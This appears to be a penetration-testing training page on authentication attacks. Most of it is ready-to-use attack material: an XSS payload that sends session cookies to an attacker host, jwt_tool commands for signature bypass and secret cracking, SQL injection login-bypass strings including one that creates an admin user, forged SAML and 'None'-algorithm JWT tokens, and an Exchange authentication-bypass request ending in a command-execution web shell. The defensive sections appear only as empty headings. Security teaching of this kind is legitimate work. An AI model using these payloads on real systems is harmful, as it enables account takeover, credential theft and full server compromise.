✅ Core Understanding

• Authentication mechanisms and implementation flaws
• Session lifecycle management and security
• Token-based authentication systems
• Cryptographic implementations and weaknesses

🔍 Expert Skills

• JWT manipulation tools and techniques
• Session analysis and exploitation methods
• Privilege escalation testing and validation
• Secure implementation and remediation

Common Flaws

Typical authentication implementation errors

Weak password policies
Predictable session tokens
Missing session regeneration
Insecure password reset
SQL injection in login
Client-side access control

Attack Vectors

Methods used to compromise authentication

Session fixation
Session hijacking
JWT manipulation
Parameter tampering
Password reset poisoning
Brute force attacks

Impact Potential

What attackers can achieve

Account takeover
Privilege escalation
Data access
Administrative control
Lateral movement
Persistent access

Session Fixation and Hijacking

# Session fixation attack flow
1. Attacker obtains valid session ID: JSESSIONID=ABC123
2. Victim is tricked into using this session ID
3. Victim authenticates with the fixed session ID  
4. Attacker uses the known session ID to access victim's account

# Implementation techniques
# Email/social engineering with pre-set session
http://<target>/login?JSESSIONID=ATTACKER_CONTROLLED_ID

# XSS to set session cookie
document.cookie="JSESSIONID=FIXED_SESSION_ID; path=/"

# Session hijacking via XSS
<script>
fetch('http://<attacker>/steal', {
  method: 'POST',
  body: 'session=' + document.cookie
});
</script>

# Network interception (unencrypted traffic)
# Monitor network traffic for session cookies
# Use tools like Wireshark, tcpdump, or Burp Suite

# Session prediction analysis
# Collect multiple session IDs to identify patterns
session1: ABC123456
session2: ABC123457
session3: ABC123458  # Sequential = predictable

Session attacks work because many applications fail to regenerate session IDs after authentication or use predictable session generation algorithms.

JWT Manipulation with jwt_tool

# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt

# Analyze JWT token structure
python jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Algorithm confusion attack (RS256 → HS256)
python jwt_tool.py -S hs256 -k public_key.pem JWT_TOKEN

# None algorithm attack (remove signature verification)
python jwt_tool.py -X a JWT_TOKEN

# Crack weak HMAC secrets
python jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt JWT_TOKEN

# Manual token modification
# 1. Decode header and payload (base64)
# 2. Modify payload: {"role": "admin", "user": "attacker"}
# 3. Re-encode with modified values
# 4. For 'none' algorithm, remove signature entirely

# Example: Change user role
Original: {"sub": "1234", "name": "John", "role": "user"}
Modified: {"sub": "1234", "name": "John", "role": "admin"}

JWT attacks succeed when applications accept weak algorithms, don't validate signatures properly, or use predictable secrets for token signing.

Authentication Bypass Payloads

# Basic authentication bypass
username: admin' --
password: anything

# Boolean-based bypass
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin' OR 'x'='x' --

# Union-based information gathering
username: admin' UNION SELECT 1,username,password FROM users --

# Bypassing password validation
username: admin
password: ' OR '1'='1

# Time-based blind injection (to confirm vulnerability)
username: admin' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') AND SLEEP(5) --

# Advanced bypass with user creation
username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'administrator'); --

# Comment variations for different databases
-- (MySQL, PostgreSQL)
# (MySQL)
/* */ (MySQL, SQL Server)

SQL injection in authentication works by manipulating the query logic to always return true or by extracting user credentials directly from the database.

# Step 1: Analyze SAML Response structure
# GitLab accepts SAML assertions for SSO authentication
# Vulnerability: Improper XML signature verification

# Step 2: Craft malicious SAML assertion
# Original signed assertion contains user email
# Modify email field outside signed portion

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>victim@<target></saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="email">
      <saml:AttributeValue>attacker@hackerdna.com</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
  <!-- Signature only covers Subject, not AttributeStatement -->
  <ds:Signature>...</ds:Signature>
</saml:Assertion>

# Step 3: Authentication bypass achieved
# GitLab validates signature on Subject (victim email)
# But uses email from AttributeStatement (attacker email)
# Result: Login as victim user with attacker-controlled email

# Step 4: Account takeover
# Initiate password reset using compromised account
# Reset email sent to attacker-controlled address
# Complete account takeover without knowing original password

# Step 1: Analyze Auth0 Authentication API implementation
# Auth0 prevented 'alg: none' with case-sensitive filter
# Vulnerability: Case-sensitive filtering allowed bypass

# Step 2: Obtain legitimate JWT token structure
# Normal token would have alg: RS256 or similar
{
  "alg": "RS256",
  "typ": "JWT"
}

# Step 3: Exploit case-sensitive filter bypass
# Auth0 blocked lowercase 'none' but not capitalized variants
# Create token with 'None', 'nonE', 'NoNe', etc.

{
  "alg": "None",  # or "nonE", "NoNe", "NONE"
  "typ": "JWT"
}

# Step 4: Craft malicious payload
# Create payload with desired claims
{
  "sub": "attacker@hackerdna.com",
  "aud": "auth0-application",
  "iss": "https://<target>.auth0.com/",
  "exp": 9999999999,
  "iat": 1516239022,
  "mfa_token": "bypass_mfa"
}

# Step 5: Create unsigned token
# Base64 encode header and payload, no signature
header = base64encode({"alg":"None","typ":"JWT"})
payload = base64encode({malicious_claims})
forged_token = header + "." + payload + "."

# Result: Authentication bypass and potential MFA bypass
# Auth0 API returns 200 response for forged tokens
# Applications trusting Auth0 token validation are compromised

# Step 1: Identify Exchange server vulnerability
# CVE-2021-26855: SSRF in Exchange allows backend authentication bypass
# Vulnerability: Improper validation of Host header in proxy requests

# Step 2: Craft malicious request with Host header manipulation
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
Host: <target>
Authorization: Bearer <any_token>
Content-Type: application/json
X-Forwarded-Host: localhost
X-Forwarded-For: 127.0.0.1

{
  "filter": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange",
      "SelectedView": "",
      "SelectedVDirType": "All"
    }
  }
}

# Step 3: Backend authentication bypass achieved
# Exchange backend trusts requests from localhost
# X-Forwarded headers make request appear internal
# Result: Administrative access without authentication

# Step 4: Escalate to full server compromise
# Use authenticated access to exploit additional CVEs
# CVE-2021-26857: Insecure deserialization
# CVE-2021-26858: Post-auth arbitrary file write

# Step 5: Deploy web shell for persistent access
POST /owa/auth/Current/themes/resources/<webshell>.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.QueryString["cmd"];
    if (cmd != null) {
        Process.Start("cmd.exe", "/c " + cmd);
    }
%>

# Result: Complete Exchange server compromise and persistent access

Core Session Protection Strategies

Multi-Layer JWT Defense Strategy

Production-Ready Authentication Security